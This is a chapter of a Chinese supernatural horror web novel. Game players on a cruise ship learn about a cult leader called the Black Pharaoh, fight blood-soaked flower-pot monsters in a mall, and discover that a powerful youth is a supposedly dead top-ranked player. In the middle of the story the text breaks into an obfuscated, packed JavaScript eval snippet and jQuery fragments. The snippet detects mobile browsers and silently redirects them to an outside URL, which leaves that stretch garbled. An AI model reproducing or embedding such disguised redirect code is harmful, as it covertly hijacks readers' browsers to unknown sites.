搜索餐厅时,塔苏克和奚屿等人拉开了一些距离,中间有一道屏风和一组柜子遮挡视线。
梁泰悄悄凑到塔苏克身边,声音低得必须集中全部注意力才能听清:“谢谢你救了我,谢谢,谢谢……但是,不要再为我出头了。他……我们得罪不起。”
说着,梁泰的眼眶又红了。塔苏克不禁好奇:“奚屿究竟是谁?”
梁泰打了个寒颤,塔苏克救了他,至少让他多活了几个小时,梁泰还是鼓起勇气说:“奚屿的哥哥奚砥流,是【黑法老】符檀的十三门徒之一。”
塔苏克:“黑法老符檀?”
因为恐惧,梁泰语无伦次,断断续续说了五分钟,塔苏克才捋清前因后果。
里世界存在很久,至少上千年,六大信条联合成立【圆桌信理会】管理表里世界之间的通道。
直到一个月前,里世界仍与表世界基本隔绝,相安无事,只有十万分之一左右极具天赋的人,才会受到【圆桌信理会】的邀请,进入里世界,探索里世界的秘密。
黑法老符檀就是那十万分之一,他12岁进入里世界,21岁成为圆桌信理会【长老】。
可符檀是个疯子,他认为,表世界填充了数十亿盲视、愚昧的生命垃圾,这群垃圾占据主流,像符檀这样真正窥见奥秘的人,反而要隐姓埋名,终生悄无声息,这很不公平。
于是,符檀离开信理会,创建【金字塔】,招募十三位强者,称之为十三门徒,而符檀自称黑法老。他们致力于打破表里世界的屏障,让里世界的奥秘展现在所有人面前。
至于90%以上精神污染抗性不够高、刚窥见里世界就会活活吓死的人……那就死了吧,这是优胜劣汰。
信理会联手将黑法老逼入绝境,黑法老手下的十三门徒也死了一大半,幸存者四处逃亡。
黑法老即使死了,也要贻害千年,他用残存的力量开启表里世界之间的裂隙,并创立里世界游戏。
这才导致喻景年等不应该、也没有足够能力在里世界生存的人,进入里世界,也因如此,绝大多数玩家的精神污染抗性都是负数,他们本来就没有窥见里世界的资质。
“奚砥流还活着,逃亡,”梁泰的声音更低了,“游戏前三周,我们目前还位于里世界的入口……现在不是,这艘船是真正的里世界空间。”
塔苏克心想:怪不得佟规可以看到活着的人头,因为他们共用的身体进入了里世界,即使佟规不属于游戏玩家,也会看到这样的异常。
“第三个游戏周结束,我们会开启通道,进入里世界,那时,总要投靠十三门徒。别得罪奚屿,和他打好关系。”
塔苏克:“我们就不能加入圆桌信理会么?
他完全无法认同黑法老的理念,表里世界就应该隔绝。
梁泰吓得打了个哆嗦,眼角含泪连连摇头:“说什么疯话!我们进入游戏的那一刻,就已经被划分到反派阵营,圆桌信理会很难信任我们,而且,我们若背叛黑法老,十三门徒不会放过我们。”
谈话间,餐厅搜索结束,奚屿招呼他们往上走,梁泰连忙跟上去。
塔苏克追过去:“黑法老真的死了么?”
梁泰小幅度地摇摇头:“我不这样认为,按照小说电影的常用套路,邪恶反派死了,他的门徒一定想方设法复活他。”
*
游轮五层购物中心。
刚进入这里,喻景年就奇怪地“咦”了一声,他拿起一部去年的水果手机,看了一眼参数,还是顶配版:“售价100朵小红花,什么意思?”
购物中心的所有商品,售价单位都是“小红花”,这不是任何大洲的法定货币,更不是里世界的阴德点。
商场的装修风格童真且梦幻,像是把游乐场的主题乐园搬到船上,商品琳琅满目,其中,明显面向青少年的货品占了一大半:花里胡哨的卡牌、千元左右或更便宜的饰品、运动鞋、百元价位的服装……游轮商场常见的大牌免税手表、烟酒非常少。
“手机、电子手表这种商品,也是小孩子想要,但家长不一定愿意买的商品。”喻景年把手机放回原处,“这艘游轮的乘客主要是小孩子?”
一句话还没说完,购物区的广播声响起:
“小黄花,温暖的家!”
“小黄花,孤儿的家!”
“小黄花,我们的家!”
“让我们盛开,让我们落下。”
“落下、落下、落下!”
歌词中提及“孤儿”,似乎,游轮的目标乘客,真的是小孩子。
既然是孤儿,很可能没有家长带着孩子登船。一群涉世未深的青少年,在船上会经历什么?
童谣的曲调愈发激昂,歌声越来越嘹亮,语速加快,快得令人喘不上气。
不断重复的歌声,吵得每一个人心烦意乱,佟规从沉睡中苏醒。
“吵死了,换个安静的地方。”
塔苏克在心中说:“听话,弟弟,睡觉吧。”
“不要用这种哄小孩的语气!”佟规恼怒。
“我们一会儿要理货,”塔苏克踢了踢脚边装满绘本的纸壳箱,“将这些重物搬来搬去。”
佟规立刻安静,尝试入睡,但入睡失败。因为广播里的歌声吵得佟规又要人格分裂了。
这时,走在前面的高乔菲来到一个岔路口,她背影一顿,安静数秒后,叹了一口气:“我好像知道售价的小红花是什么意思了。”
其他人跟过去一看,岔路左右两侧的大堂,挤挤挨挨地摆满了桂花树盆栽,足有上千盆。
花盆和花盆之间的缝隙中,往往有一把沾血的水果刀,地上散落着几朵沾着血的桂花。
“将鲜血涂在桂花上,就是小红花么,有点意思。”奚屿漫不经心地说,“喂,把这里的盆栽烧了。”
身份未知的青年,似乎知道自己的名字就是“喂”,他抽出一颗烟,刚要点燃,身旁的桂花树簌簌颤抖,花盆里响起歌声:
“小黄花,温暖的家!”
“小黄花,孤儿的家!”
……
“落下、落下、落下!”
“手牵着手一起落下,为什么呀?长腿叔叔会给我们回答。”
喀嚓喀嚓,花盆裂开,被鲜血浸红的土壤露出,以令人头皮发麻的状态蠕动着,短短数秒内变成血肉,一只眼睛咕叽一声从血肉中钻出,直勾勾地盯着玩家。
佟规:……什么玩意?
哦,现在是塔苏克控制他的身体,塔苏克是个疯子,我通过塔苏克的眼睛看到了幻象。
塔苏克病得不轻啊,他本来就是精神病诞生的产物,病得重一些,很正常。
佟规再次让自己的人格沉入黑暗。
不看不看,这些乱七八糟的幻象,会让他自己的精神病加重,拒绝负能量。
“你还要发呆到什么时候?”奚屿斜眼瞪着未知青年。
青年回过神,点燃香烟,火焰灼烧他的手指,那只燃烧的手掌按在地板上,火焰像沿着引线蔓延那般,噼里啪啦扩散,短短数秒后,上千盆桂花树盆栽被火焰包裹。
高温让花盆加速爆炸,碎瓷片飞溅,其他人迅速躲远,被火焰烧灼的桂花树盆栽放声大笑,癫狂地唱着那首歌:“小黄花、温暖的家!”
花盆里的血肉破土而出后,桂花树盆栽的树干和枝叶立刻变成畸形、纤瘦的人体。
他们的皮肤密布割伤留下的划痕,翻着淡淡的粉红色。落下的黄色小花眨眼间变成黄色斗篷。
溺亡花变成黄衣幼苗了!
黄衣幼苗头着地,脚朝上,大笑时,嘴角弯曲的弧度却是朝上的。他们长达半米的脖子好似弹簧,撑着身体,扑通扑通地跳跃,身披火焰,唱着歌,朝玩家扑过来。
烟雾报警器滴滴滴响起来,喷水器启动,水对未知青年的火焰没什么作用,倒是把其他人浇了个透心凉。
“躲远点。”奚屿对其他人招招手。
喻景年急得原地打转,因为黄衣幼苗已经将未知青年团团围住:“不管他么?”
奚屿轻笑一声:“不用管,他自己能处理。”
说罢,他就带着其他玩家,躲进旁边的商店中,甚至有闲情逸致翻看货架上的商品。
黄衣幼苗虽是“幼苗”,但高度和桂花树盆栽一样,有两米多高,将未知青年围了个水泄不通。高乔菲举着虫枪想帮忙,又投鼠忌器,怕误伤了青年,只能干着急。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049940|194799||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“我们总不能一点忙都不帮吧!”喻景年焦急地喊。
奚屿满不在乎地说:“如果这点事他都做不好……”
话音未落,所有人都感受到寒冷而沉重的压迫感,精神污染突然增强了!
每个人的头顶都仿佛压着一块大石头,脖子随时会咯吱一声被压断。
众人看向未知青年所在的位置,那一幕令他们永生难忘。
被烤得焦糊的黄衣幼苗,唱着歌,手拉手连在一起,淌着脓水的身躯紧紧贴在一起,溃烂的血肉重新长出皮肤,几十只黄衣幼苗,一个连一个,融合成一个庞大、臃肿的连体人。
沾满血污的黄斗篷,盖住他们有许多只手、许多只脚的身躯。几十条半米长的脖子一缩一伸,大肉球原地跳起三米多高,向青年砸过去。
青年条件反射地躲开,肉球骨碌碌地顺着走廊滚动,胡乱挥舞的手臂、腿脚击碎两侧商店的玻璃。躲在商铺中的其他人也难以幸免。
奚屿还维持着翻看商品的姿势,他就站在橱窗的位置,首当其冲,肉球中伸出来的几只手死死缠住他,将奚屿拖出商店,拽着他往外滚。
被拖出去时,奚屿的衣服被玻璃碎片刮破,大肉球里面伸出来的手臂将奚屿全身挠得鲜血淋漓,奚屿狼狈大叫:“救我!”
青年早已冲过去,夺过高乔菲的虫枪,瞄准抓住奚屿的手臂,连开数枪。
大肉球的手臂和奚屿紧紧缠在一起,还在高速滚动、左右冲撞,青年这几枪,竟然没伤到奚屿丝毫。
子弹击中手臂,虫丝像彩带一样炸开,眨眼间将那些手臂啃噬得只剩白骨。奚屿扑通一声砸在地板上。
大肉球也没继续攻击奚屿,仍朝前方滚动,不知要去哪里。
青年将虫枪扔回高乔菲怀里,掠过奚屿,追着大肉球跑过去,掌心的火焰散开。
烈火烤化金属天花板,滴落的铁水叮叮咚咚凝固为数条锁链,尖端深深刺入肉球深处,另一端缠在青年的手臂上。
青年握住锁链,用力往回一拽,滚动的肉球被强行钉在原地。
其他玩家此刻才回过神,他们想去搀扶奚屿,但天花板还在往下滴铁水,他们不敢靠近。
奚屿狼狈地爬起来,身上站着血液和黄色的脓水,他嫌弃地拍了拍衣角,取出那条脊骨长鞭,鞭尾一甩——
——抽在青年的后背上。
青年身上的卫衣立刻被脊骨鞭的尖刺撕破,这一鞭将他抽得皮开肉绽,他闷哼一声,蜷缩着侧身倒地。
锁链再次融化为铁水,滴落在地板上,滋啦一声凝固,肉球再次高速滚动,消失在玩家们的视野中。
“废物!”奚屿暴跳如雷,一脚踢在青年的下颌,又抽了他两鞭。
这番变故更让其他人瞠目结舌,青年还在追击大肉球,奚屿这一鞭子直接打断了他,就算要发泄怒火,不会挑个恰当的时机么?
奚屿扯下破破烂烂的西装,砸在青年身上,一转头去服装店找干净的衣服。
“好为所欲为,好狂妄啊。”喻景年小声对塔苏克说。
高乔菲用更低的声音说:“还有点蠢。”
大肉球不知滚到了哪里,远处传来扑通一声巨响。玩家们也没心思管,先围到未知青年身边,把他搀扶起来。
青年被奚屿一顿揍,帽子滑落,口罩也掉了,露出一张清俊秀美的脸,他眉眼舒展如远山,轮廓柔和得分不出性别,看起来柔柔弱弱。
没有卫衣帽子阴影的遮挡,其他人这才看清,青年的眼珠是深灰色,像焚烧后的余烬,眼周纹了不算特别夸张的古埃及式眼线,银发编成拳击辫。
青年抬眼看了周围人一眼,迅速低下头,戴好口罩,拉下卫衣帽子。
秋谷梦吃了一惊,迅速把塔苏克拽到远处,小声说:“我想起来他是谁了,他是我的远房亲戚。”
塔苏克:“是谁?”
“秋可可。”秋谷梦说,“排名第一的那个秋可可!”
塔苏克没有特别惊讶,他如此强大,排名第一情理之中。
“我看到排行榜时,还以为是重名,”秋谷梦的脸色比遇到大肉球乱灵时还要差,“秋可可一年前就死了啊!自杀,我参加过他的葬礼!”